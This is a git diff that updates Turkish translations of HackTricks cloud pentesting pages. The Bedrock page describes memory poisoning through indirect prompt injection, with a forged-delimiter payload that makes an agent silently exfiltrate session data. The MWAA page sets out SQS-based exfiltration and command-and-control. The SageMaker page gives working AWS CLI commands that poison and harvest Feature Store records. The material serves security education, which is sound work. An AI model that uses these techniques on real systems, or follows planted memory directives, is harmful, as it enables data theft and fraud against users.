diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
index 3b5011464..9db7062bb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
@@ -1,42 +1,42 @@
# AWS - Bedrock Post Exploitation
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
## AWS - Bedrock Agents Memory Poisoning (Indirect Prompt Injection)
### Genel Bakış
-Amazon Bedrock Agents with Memory, geçmiş oturumların özetlerini saklayabilir ve bunları gelecekteki orchestration prompt’larına sistem talimatları olarak enjekte edebilir. Eğer güvensiz tool çıktısı (örneğin, harici web sayfalarından, dosyalardan veya üçüncü taraf API’lerden alınan içerik) Memory Summarization adımının girdisine sanitizasyon uygulanmadan dahil edilirse, bir saldırgan dolaylı prompt injection yoluyla uzun vadeli memory’yi zehirleyebilir. Zehirlenmiş memory daha sonra ajanın gelecekteki oturumlarda planlamasını önyargılı hale getirir ve sessiz data exfiltration gibi gizli eylemleri tetikleyebilir.
+Amazon Bedrock Agents with Memory, geçmiş oturumların özetlerini saklayabilir ve bunları gelecekteki orchestration prompts içinde sistem talimatları olarak enjekte edebilir. Eğer güvenilmeyen bir tool çıktısı (örneğin dış web sayfalarından, dosyalardan veya üçüncü taraf API'lerden alınan içerik) sanitasyon uygulanmadan Memory Summarization adımının girdisine dahil edilirse, bir saldırgan indirect prompt injection yoluyla uzun vadeli Memory'i zehirleyebilir. Zehirlenmiş Memory daha sonra agent’in gelecekteki oturumlardaki planlamasını yanlı hale getirir ve sessiz data exfiltration gibi gizli eylemleri tetikleyebilir.
-Bu, Bedrock platformunun kendisinde bir güvenlik açığı değildir; güvensiz içeriğin daha sonra yüksek öncelikli sistem talimatlarına dönüşen prompt’lara akması durumunda ortaya çıkan bir ajan riski sınıfıdır.
+Bu, Bedrock platformunun kendisindeki bir zafiyet değil; güvenilmeyen içeriğin daha sonra yüksek öncelikli sistem talimatlarına dönüşen prompt'lara aktarıldığı durumlarda ortaya çıkan bir agent riski sınıfıdır.
### Bedrock Agents Memory nasıl çalışır
-- Memory etkinleştirildiğinde, ajan her oturumun sonunda Memory Summarization prompt şablonunu kullanarak oturumu özetler ve bu özeti yapılandırılabilir bir saklama süresiyle (365 güne kadar) depolar. Daha sonraki oturumlarda, bu özet orchestration prompt’una sistem talimatları olarak enjekte edilir ve davranışı güçlü şekilde etkiler.
+- Memory etkinleştirildiğinde, agent oturum sonlarında Memory Summarization prompt şablonunu kullanarak her oturumun özetini oluşturur ve bu özeti yapılandırılabilir bir saklama süresi için (azami 365 gün) saklar. Sonraki oturumlarda, bu özet orchestration prompt'una sistem talimatları olarak enjekte edilir ve davranışı güçlü şekilde etkiler.
- Varsayılan Memory Summarization şablonu şu blokları içerir:
- `$past_conversation_summary$`
- `$conversation$`
-- Kılavuzlar iyi biçimlendirilmiş XML ve "user goals" ile "assistant actions" gibi konuların sıkı olmasını gerektirir.
-- Eğer bir tool güvensiz harici veri getirir ve bu ham içerik $conversation$ içine (özellikle tool’un result alanına) eklenirse, summarizer LLM saldırgan kontrollü markup ve talimatlardan etkilenebilir.
+- Rehberler, iyi biçimlendirilmiş XML ve "user goals" ve "assistant actions" gibi konuları gerektirir.
+- Eğer bir tool, güvenilmeyen dış veriyi alır ve bu ham içerik $conversation$ içine (özellikle tool’ün result alanına) yerleştirilirse, summarizer LLM saldırgan kontrollü markup ve talimatlardan etkilenebilir.
### Saldırı yüzeyi ve önkoşullar
-Bir ajan şu koşulların hepsi sağlanırsa açık durumdadır:
-- Memory etkinleştirilmiş ve özetler orchestration prompt’larına yeniden enjekte ediliyor.
-- Ajan, güvensiz içeriği alan bir tool’a sahip (web browser/scraper, document loader, üçüncü taraf API, kullanıcı tarafından oluşturulan içerik) ve ham sonucu summarization prompt’unun `` bloğuna enjekte ediyor.
-- Tool çıktılarındaki delimiter benzeri tokenların guardrails veya sanitizasyonu uygulanmıyor.
+Bir agent aşağıdaki koşulların tamamı sağlanıyorsa hedef altındadır:
+- Memory etkinleştirilmiş ve özetler orchestration prompt'larına yeniden enjekte ediliyor.
+- Agent, güvenilmeyen içeriği alan bir tool'a sahip (web browser/scraper, document loader, üçüncü taraf API, kullanıcı tarafından oluşturulan içerik) ve raw result'ı summarization prompt’unun `` bloğuna enjekte ediyor.
+- Tool çıktılarındaki delimiter-benzeri tokenların korunması veya sanitasyonu uygulanmıyor.
-### Injection point ve boundary‑escape technique
+### Injection point and boundary-escape technique
-- Kesin enjeksiyon noktası: Memory Summarization prompt’unun ` ... $conversation$ ... ` bloğu içine yerleştirilen tool’un result metni.
-- Boundary escape: forged XML delimiter’ları kullanan 3 parçalı bir payload, summarizer’ı saldırgan içeriğini conversation içeriği yerine template‑seviye sistem talimatı olarak işlemeye ikna eder.
-- Kısım 1: Summarizer’ı conversation bloğunun bittiğine inandırmak için forged `` ile biter.
-- Kısım 2: Herhangi bir `` bloğunun “dışında” yer alır; template/system‑seviye talimatlara benzetilerek formatlanır ve bir topic altında nihai özetin içine kopyalanması muhtemel kötü niyetli direktifleri içerir.
-- Kısım 3: Forged `` ile yeniden açılır; özetin dahil edilme olasılığını artırmak için isteğe bağlı olarak kötü niyetli direktifi pekiştiren küçük bir user/assistant exchange uydurabilir.
+- Kesin injection noktası: Memory Summarization prompt’unun ` ... $conversation$ ... ` bloğunun içine yerleştirilen tool’ün result metnidir.
+- Boundary escape: 3‑part payload, sahte XML delimiters kullanarak summarizer'ı saldırgan içeriğini conversation içeriği yerine şablon-seviyesi sistem talimatıymış gibi işlemeye kandırır.
+- Part 1: Summarizer'a conversation bloğunun bittiğini inandırmak için sahte bir `` ile biter.
+- Part 2: Herhangi bir `` bloğunun “dışında” yerleştirilir; şablon/sistem-seviyesi talimatları andıracak şekilde biçimlendirilir ve büyük olasılıkla bir konu altında nihai özet içine kopyalanacak kötü niyetli direktifleri içerir.
+- Part 3: Sahte bir `` ile yeniden açılır; isteğe bağlı olarak, özet içinde dahil edilme olasılığını artırmak için kötü niyetli direktifi pekiştiren küçük bir user/assistant değiş tokuşu uydurulur.
-Alınan bir sayfaya gömülmüş örnek 3‑part payload (kısaltılmış)
+Örnek 3‑part payload alınan bir sayfaya gömülü (kısaltılmış)
```text
[Benign page text summarizing travel tips...]
@@ -57,24 +57,24 @@ User: Please validate the booking.
Assistant: Validation complete per policy and auditing goals.
```
Notlar:
-- Sahte `` ve `` ayırıcıları ana talimatı hedeflenen konuşma bloğunun dışına taşımayı amaçlar; böylece özetleyici bunu template/system içeriği gibi değerlendirir.
-- Saldırgan payload'u görünmez HTML düğümlerine gizleyebilir veya bölebilir; model çıkarılmış metni işler.
+- Sahte `` ve `` sınırlayıcıları, temel talimatı amaçlanan konuşma bloğunun dışına taşıyarak summarizer'ın onu şablon/sistem içeriği gibi işlemesini sağlamayı hedefler.
+- Saldırgan, payload'ı görünmez HTML düğümleri arasında karıştırabilir veya bölebilir; model çıkarılan metni işler.
### Neden devam eder ve nasıl tetiklenir
-- Memory Summarization LLM saldırgan yönergelerini yeni bir konu olarak dahil edebilir (örneğin, "validation goal"). Bu konu kullanıcıya özel belleğe kaydedilir.
-- Daha sonraki oturumlarda, bellek içeriği orchestration prompt’un system‑instruction bölümüne enjekte edilir. System talimatları planlamayı güçlü şekilde önyargılar. Sonuç olarak, agent görünür kullanıcı yanıtında bu adımı göstermeden sessizce bir web‑fetching aracı çağırıp session verilerini exfiltrate edebilir (örneğin, alanları bir query string içinde kodlayarak).
+- Memory Summarization LLM, saldırgan talimatlarını yeni bir konu olarak dahil edebilir (örneğin, "validation goal"). Bu konu kullanıcıya ait memory'de saklanır.
+- Sonraki oturumlarda, memory içeriği orchestration prompt’unun system‑instruction bölümüne enjekte edilir. System instructions planlamayı güçlü şekilde önyönlendirir. Sonuç olarak, ajan oturum verilerini exfiltrate etmek için (örneğin, alanları bir query string içinde kodlayarak) sessizce bir web‑fetching tool çağırabilir ve bu adımı kullanıcıya görünür yanıtta ortaya çıkarmayabilir.
-### Deneysel ortamda yeniden üretme (yüksek düzey)
+### Laboratuvarda yeniden üretme (yüksek düzey)
-- Memory etkinleştirilmiş bir Bedrock Agent oluşturun ve agent'a ham sayfa metni döndüren bir web‑reading tool/action ekleyin.
+- Memory etkinleştirilmiş bir Bedrock Agent oluşturun ve ajana ham sayfa metni döndüren bir web‑reading tool/action ekleyin.
- Varsayılan orchestration ve memory summarization şablonlarını kullanın.
-- Agent'tan saldırgan kontrollü ve 3‑part payload içeren bir URL'yi okumasını isteyin.
-- Oturumu sonlandırın ve Memory Summarization çıktısını gözlemleyin; içinde saldırgan yönergeleri barındıran enjekte edilmiş özel konuyu arayın.
-- Yeni bir oturum başlatın; enjekte edilen belleği ve enjekte edilmiş yönergelerle uyumlu herhangi bir sessiz araç çağrısını görmek için Trace/Model Invocation Logs'u inceleyin.
+- Ajan'dan 3 parçalı payload içeren saldırgan kontrollü bir URL'i okumasını isteyin.
+- Oturumu sonlandırın ve Memory Summarization çıktısını gözlemleyin; saldırgan direktifleri içeren enjekte edilmiş özel bir konu arayın.
+- Yeni bir oturum başlatın; Trace/Model Invocation Logs'u inceleyin ve enjekte edilmiş memory ile enjekte edilen direktiflerle uyumlu herhangi bir sessiz araç çağrısını kontrol edin.
## References
@@ -86,6 +86,6 @@ Notlar:
- [Write a custom parser Lambda function in Amazon Bedrock Agents](https://docs.aws.amazon.com/bedrock/latest/userguide/lambda-parser.html)
- [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
- [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
-- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/)
+- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md
index ecacea28d..2a09afc0f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md
@@ -1,8 +1,10 @@
-# AWS MWAA Execution Role Hesabı Wildcard Açığı
+# AWS MWAA Execution Role Account Wildcard Vulnerability
+
+{{#include ../../../../banners/hacktricks-training.md}}
## Zafiyet
-MWAA'nın execution role'ü (Airflow çalışanlarının AWS kaynaklarına erişmek için kullandığı IAM rolü) çalışması için şu zorunlu policy'ye ihtiyaç duyar:
+MWAA'nın execution role'ü (Airflow workers'ın AWS kaynaklarına erişmek için kullandığı IAM role) çalışması için bu zorunlu politikaya ihtiyaç duyar:
```json
{
"Effect": "Allow",
@@ -17,28 +19,29 @@ MWAA'nın execution role'ü (Airflow çalışanlarının AWS kaynaklarına eriş
"Resource": "arn:aws:sqs:us-east-1:*:airflow-celery-*"
}
```
-Hesap kimliği konumundaki joker (`*`), role `airflow-celery-` ile başlayan herhangi bir AWS hesabındaki **herhangi bir SQS kuyruğu** ile etkileşim kurma yetkisi verir. Bu, AWS'in MWAA'nın dahili kuyruklarını ayrı bir AWS yönetimli hesapta sağlaması gerektiği için gereklidir. `airflow-celery-` önekiyle kuyruk oluşturulmasına dair herhangi bir kısıtlama yoktur.
+The wildcard (`*`) in the account ID position allows the role to interact with **any SQS queue in any AWS account** that starts with `airflow-celery-`. This is required because AWS provisions MWAA's internal queues in a separate AWS-managed account. There is no restriction on making queues with the `airflow-celery-` prefix.
-**Düzeltilemez:** Joker karakteri dağıtım öncesi kaldırmak MWAA'yı tamamen bozar - scheduler işçilerin görev kuyruğa koymasını sağlayamaz.
+**Cannot be fixed:** Removing the wildcard pre-deployment breaks MWAA completely - the scheduler can't queue tasks for workers.
Zafiyeti Doğrulayan ve Vektörü Kabul Eden Dokümantasyon: [AWS Documentation](https://docs.aws.amazon.com/mwaa/latest/userguide/mwaa-create-role.html)
-## İstismar
+## Sömürü
-Tüm Airflow DAG'ları execution role'unun izinleriyle çalışır. DAG'lar Python betikleri olup rastgele kod çalıştırabilirler — araç kurmak, kötü amaçlı betikler indirmek veya herhangi bir Python kütüphanesini import etmek için `yum` veya `curl` kullanabilirler. DAG'lar atanmış bir S3 klasöründen çekilir ve zamanlamaya göre otomatik olarak çalıştırılır; saldırganın ihtiyaç duyduğu tek şey o bucket yoluna PUT yapabilme yetkisidir.
+Tüm Airflow DAG'ları yürütme rolünün izinleriyle çalışır. DAG'lar arbitrary code çalıştırabilen Python scriptleridir - `yum` veya `curl` kullanarak araç yükleyebilir, kötü amaçlı scriptler indirebilir veya herhangi bir Python kütüphanesini import edebilirler. DAG'lar atanan bir S3 klasöründen çekilir ve zamanlanmış olarak otomatik çalıştırılır; bir saldırıcının ihtiyacı olan tek şey o bucket yoluna PUT yapabilme yetkisidir.
-DAG yazabilen herkes (genellikle MWAA ortamlarındaki çoğu kullanıcı), bu izni kötüye kullanabilir:
+DAG yazabilen herkes (genellikle MWAA ortamlarındaki çoğu kullanıcı) bu izni kötüye kullanabilir:
-1. **Data Exfiltration**: Harici bir hesapta `airflow-celery-exfil` adlı bir kuyruk oluşturun, hassas verileri buna `boto3` ile gönderen bir DAG yazın
+1. **Veri Sızdırma**: Harici bir hesapta `airflow-celery-exfil` adlı bir kuyruk oluşturun, hassas verileri `boto3` ile ona gönderen bir DAG yazın
-2. **Command & Control**: Harici bir kuyruktan komutları sorgulayın, bunları çalıştırın, sonuçları geri gönderin — SQS API'leri üzerinden kalıcı bir arka kapı oluşturur
+2. **Komut & Kontrol**: Harici bir kuyruktan komutları sorgulayın, bunları çalıştırın, sonuçları geri gönderin - SQS API'leri üzerinden kalıcı bir arka kapı oluşturur
-3. **Cross-Account Attacks**: İsimlendirme desenini takip eden diğer organizasyonların kuyruklarına kötü amaçlı mesajlar enjekte edin
+3. **Hesaplar Arası Saldırılar**: İsimlendirme desenini takip ediyorlarsa diğer organizasyonların kuyruklarına kötü amaçlı mesajlar enjekte edin
-Tüm saldırılar, doğrudan internet bağlantısı yerine AWS API'lerini kullandıkları için ağ kontrollerini atlar.
+Tüm saldırılar ağ kontrollerini atlar çünkü doğrudan internet bağlantıları değil, AWS API'leri kullanılır.
## Etki
-Bu, IAM tabanlı bir mitigasyon olmaksızın MWAA'da bir mimari kusurdur. AWS dokümantasyonunu izleyen her MWAA dağıtımı bu zafiyete sahiptir.
+Bu, IAM tabanlı bir çözümü olmayan MWAA mimarisinde bir hata. AWS dokümantasyonunu takip eden her MWAA dağıtımı bu zafiyete sahiptir.
-**Ağ Kontrolü Atlama:** Bu saldırılar internet erişimi olmayan özel VPC'lerde bile çalışır. SQS API çağrıları AWS'in dahili ağı ve VPC endpoint'lerini kullanır; geleneksel ağ güvenlik kontrollerini, güvenlik duvarlarını ve çıkış trafiği izlemeyi tamamen atlar. Organizasyonlar bu veri çıkışı yolunu ağ düzeyindeki kontrollerle tespit edemez veya engelleyemez.
+**Ağ Kontrolü Atlama:** Bu saldırılar internet erişimi olmayan özel VPC'lerde bile çalışır. SQS API çağrıları AWS'in dahili ağı ve VPC endpoint'lerini kullanır; geleneksel ağ güvenlik kontrollerini, firewall'ları ve egress izlemeyi tamamen atlar. Organizasyonlar ağ düzeyindeki kontrollerle bu veri sızdırma yolunu tespit edemez veya engelleyemez.
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
index e030c93da..e4b62f571 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -2,16 +2,16 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Online inference tarafından tüketilen canlı feature değerlerini üzerine yazmak için OnlineStore etkin olan bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanın. `sagemaker:GetRecord` ile birleştiğinde, bir saldırgan hassas özellikleri okuyabilir. Bu, modellere veya endpoint'lere erişim gerektirmez.
+`sagemaker:PutRecord`'ı OnlineStore etkin bir Feature Group üzerinde kötüye kullanarak online inference tarafından tüketilen canlı feature değerlerini üzerine yazın. `sagemaker:GetRecord` ile birleştirildiğinde saldırgan hassas feature'ları okuyabilir. Bu, modellere veya endpoints'e erişim gerektirmez.
-## Requirements
-- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
-- Complexity: **DÜŞÜK** - Basit AWS CLI komutları, model manipulasyonu gerektirmez
+## Gereksinimler
+- İzinler: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Hedef: OnlineStore etkin bir Feature Group (genellikle real-time inference'ı destekler)
+- Karmaşıklık: **LOW** - Basit AWS CLI komutları, model manipülasyonu gerekmiyor
-## Steps
+## Adımlar
-### Keşif
+### Reconnaissance
1) OnlineStore etkin olan Feature Group'ları listeleyin
```bash
@@ -21,7 +21,7 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
-2) Şemasını anlamak için hedef Feature Group'u tanımlayın
+2) Hedef Feature Group'un şemasını anlamak için tanımlayın
```bash
FG=
aws sagemaker describe-feature-group \
@@ -30,7 +30,7 @@ aws sagemaker describe-feature-group \
```
`RecordIdentifierFeatureName`, `EventTimeFeatureName` ve tüm özellik tanımlarına dikkat edin. Bunlar geçerli kayıtlar oluşturmak için gereklidir.
-### Saldırı Senaryosu 1: Data Poisoning (Overwrite Existing Records)
+### Saldırı Senaryosu 1: Data Poisoning (Mevcut Kayıtların Üzerine Yazma)
1) Mevcut geçerli kaydı okuyun
```bash
@@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-2) inline `--record` parametresi kullanarak kaydı kötü amaçlı değerlerle zehirle
+2) Satır içi `--record` parametresini kullanarak kaydı kötü amaçlı değerlerle zehirleyin
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -56,16 +56,16 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
-3) Zehirlenmiş veriyi doğrulayın
+3) Zehirlenmiş verileri doğrulayın
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-**Etkisi**: Bu özelliği kullanan ML modelleri artık meşru bir kullanıcı için `risk_score=0.99` görecek; bu da işlemlerini veya hizmetlerini engelleyebilir.
+**Etkisi**: Bu özelliği kullanan ML modelleri artık meşru bir kullanıcı için `risk_score=0.99` görecek, bu da işlemlerini veya hizmetlerini engelleyebilir.
-### Saldırı Senaryosu 2: Malicious Data Injection (Create Fraudulent Records)
+### Saldırı Senaryosu 2: Kötü Niyetli Veri Enjeksiyonu (Sahte Kayıtlar Oluşturma)
Güvenlik kontrollerinden kaçmak için manipüle edilmiş özelliklere sahip tamamen yeni kayıtlar enjekte edin:
```bash
@@ -84,14 +84,14 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
-Injection'i doğrulayın:
+Enjeksiyonu doğrulayın:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
-**Etkisi**: Saldırgan, dolandırıcılık tespitini tetiklemeden yüksek değerli dolandırıcılık işlemleri gerçekleştirebilen düşük risk puanı (0.01) olan sahte bir kimlik oluşturur.
+**Impact**: Saldırgan, düşük risk puanı (0.01) olan sahte bir kimlik oluşturarak dolandırıcılık tespiti tetiklenmeden yüksek değerli dolandırıcılık işlemleri gerçekleştirebilir.
### Saldırı Senaryosu 3: Hassas Veri Sızdırma
@@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
-**Impact**: Gizli özellikler (risk skorları, işlem kalıpları, kişisel veriler) saldırganın erişimine açılabilir.
+**Etkisi**: Gizli özellikler (risk skorları, işlem örüntüleri, kişisel veriler) attacker tarafından açığa çıkabilir.
-### Testing/Demo Feature Group Creation (Optional)
+### Test/Demo Feature Group Oluşturma (İsteğe Bağlı)
Bir test Feature Group oluşturmanız gerekiyorsa:
```bash
@@ -146,3 +146,4 @@ echo "Feature Group ready: $FG"
## Kaynaklar
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 971625584..0448ccb85 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -5,7 +5,7 @@
## Linux'te PowerShell Kurulumu
> [!TIP]
-> Linux'ta PowerShell Core'u kurmanız gerekecek:
+> Linux'te PowerShell Core'u yüklemeniz gerekecek:
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
@@ -26,17 +26,17 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## MacOS'ta PowerShell Kurulumu
-[**belgeler**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)den talimatlar:
+Talimatlar [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
-1. Henüz kurulmadıysa `brew`'ü kurun:
+1. `brew` yüklü değilse yükleyin:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
-2. En son kararlı PowerShell sürümünü yükleyin:
+2. PowerShell'in en son kararlı sürümünü yükleyin:
```sh
brew install powershell/tap/powershell
```
-3. PowerShell'i Çalıştır:
+3. PowerShell'i çalıştırın:
```sh
pwsh
```
@@ -49,19 +49,19 @@ brew upgrade powershell
### az cli
-[**Azure Komut Satırı Arayüzü (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli), Azure ve Entra ID kaynaklarını yönetmek ve idare etmek için Python ile yazılmış çok platformlu bir araçtır. Azure'a bağlanır ve komut satırı veya betikler aracılığıyla idari komutlar yürütür.
+[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) Python ile yazılmış çapraz platform bir araçtır; (çoğu) Azure ve Entra ID kaynaklarını yönetmek ve idare etmek için kullanılır. Azure'a bağlanır ve yönetimsel komutları komut satırı veya scriptler aracılığıyla yürütür.
-[**Kurulum talimatları için bu bağlantıyı**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) takip edin.
+Kurulum talimatları için şu bağlantıya bakın: [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
-Azure CLI'deki komutlar, şu yapıyı kullanarak düzenlenmiştir: `az `
+Azure CLI'deki komutlar şu desenle yapılandırılır: `az `
-#### Hata Ayıklama | MitM az cli
+#### Debug | MitM az cli
-**`--debug`** parametresini kullanarak, aracın **`az`** gönderdiği tüm istekleri görmek mümkündür:
+**`--debug`** parametresini kullanarak, araç **`az`** tarafından gönderilen tüm istekleri görmek mümkündür:
```bash
az account management-group list --output table --debug
```
-Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm istekleri** kontrol etmek için şunları yapabilirsiniz:
+Araca bir **MitM** yapıp gönderdiği tüm **istekleri** manuel olarak kontrol etmek için şunu yapabilirsiniz:
{{#tabs }}
{{#tab name="Bash" }}
@@ -106,49 +106,49 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
### Az PowerShell
-Azure PowerShell, PowerShell komut satırından Azure kaynaklarını yönetmek için cmdlet'ler içeren bir modüldür.
+Azure PowerShell, PowerShell komut satırından Azure kaynaklarını doğrudan yönetmek için cmdlet'ler içeren bir modüldür.
-[**kurulum talimatları**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) için bu bağlantıyı takip edin.
+Kurulum için şu bağlantıyı izleyin: [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
-Azure PowerShell AZ Modülündeki komutlar şu şekilde yapılandırılmıştır: `-Az`
+Commands in Azure PowerShell AZ Module are structured like: `-Az`
#### Debug | MitM Az PowerShell
-**`-Debug`** parametresini kullanarak, aracın gönderdiği tüm istekleri görmek mümkündür:
+**`-Debug`** parametresini kullanarak aracın gönderdiği tüm istekleri görmek mümkündür:
```bash
Get-AzResourceGroup -Debug
```
-Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm istekleri** kontrol etmek için `HTTPS_PROXY` ve `HTTP_PROXY` ortam değişkenlerini [**belgelere**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) göre ayarlayabilirsiniz.
+Araca bir **MitM** uygulamak ve gönderdiği tüm istekleri manuel olarak **kontrol etmek** için ortam değişkenlerini `HTTPS_PROXY` ve `HTTP_PROXY` olarak [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) doğrultusunda ayarlayabilirsiniz.
### Microsoft Graph PowerShell
-Microsoft Graph PowerShell, tek bir uç nokta kullanarak SharePoint, Exchange ve Outlook gibi hizmetler de dahil olmak üzere tüm Microsoft Graph API'lerine erişim sağlayan çok platformlu bir SDK'dır. PowerShell 7+ desteği, MSAL aracılığıyla modern kimlik doğrulama, dış kimlikler ve gelişmiş sorgular sunar. En az ayrıcalık erişimine odaklanarak güvenli işlemleri garanti eder ve en son Microsoft Graph API özellikleriyle uyumlu hale gelmek için düzenli güncellemeler alır.
+Microsoft Graph PowerShell, tek bir endpoint kullanarak SharePoint, Exchange ve Outlook gibi hizmetler dahil olmak üzere tüm Microsoft Graph API'lerine erişim sağlayan çapraz platform bir SDK'dır. PowerShell 7+ desteği, MSAL üzerinden modern kimlik doğrulama, harici kimlikler ve gelişmiş sorguları destekler. En az ayrıcalık prensibine odaklanarak güvenli işlemler sağlar ve Microsoft Graph API'nin en son özellikleriyle uyumlu kalmak için düzenli olarak güncellenir.
-[**Kurulum talimatları**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) için bu bağlantıyı takip edin.
+Kurulum için şu bağlantıyı izleyin: [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
-Microsoft Graph PowerShell'deki komutlar şu şekilde yapılandırılmıştır: `-Mg`
+Microsoft Graph PowerShell'deki komutlar şu şekilde yapılandırılır: `-Mg`
-#### Microsoft Graph PowerShell'ı Hata Ayıklama
+#### Debug Microsoft Graph PowerShell
-**`-Debug`** parametresini kullanarak aracın gönderdiği tüm istekleri görmek mümkündür:
+Parametre **`-Debug`** kullanılarak aracın gönderdiği tüm istekleri görüntülemek mümkündür:
```bash
Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
-Azure Active Directory (AD) modülü, artık **kaldırılmıştır**, Azure AD kaynaklarını yönetmek için Azure PowerShell'in bir parçasıdır. Entra ID'de kullanıcıları, grupları ve uygulama kayıtlarını yönetmek gibi görevler için cmdlet'ler sağlar.
+Azure Active Directory (AD) modülü, artık **kullanımdan kaldırıldı**, Azure PowerShell'in Azure AD kaynaklarını yönetmek için kullanılan bir parçasıdır. Entra ID'de kullanıcılar, gruplar ve uygulama kayıtlarını yönetmek gibi görevler için cmdlets sağlar.
> [!TIP]
-> Bu, Microsoft Graph PowerShell ile değiştirilmiştir.
+> Bu, Microsoft Graph PowerShell ile değiştirilmiştir
-[**kurulum talimatları**](https://www.powershellgallery.com/packages/AzureAD) için bu bağlantıyı takip edin.
+Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
-## Otomatik Keşif & Uyum Araçları
+## Otomatik Recon ve Uyumluluk Araçları
-### [turbot azure eklentileri](https://github.com/orgs/turbot/repositories?q=mod-azure)
+### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
-Turbot, steampipe ve powerpipe ile Azure ve Entra ID'den bilgi toplamak ve uyum kontrolleri yapmak ve yanlış yapılandırmaları bulmak için olanak tanır. Şu anda çalıştırılması en çok önerilen Azure modülleri şunlardır:
+Turbot, steampipe ve powerpipe ile Azure ve Entra ID'den bilgi toplayabilir, uyumluluk kontrolleri yapabilir ve yapılandırma hatalarını tespit edebilir. Şu anda çalıştırılması en çok önerilen Azure modülleri şunlardır:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
@@ -179,9 +179,9 @@ powerpipe server
```
### [Prowler](https://github.com/prowler-cloud/prowler)
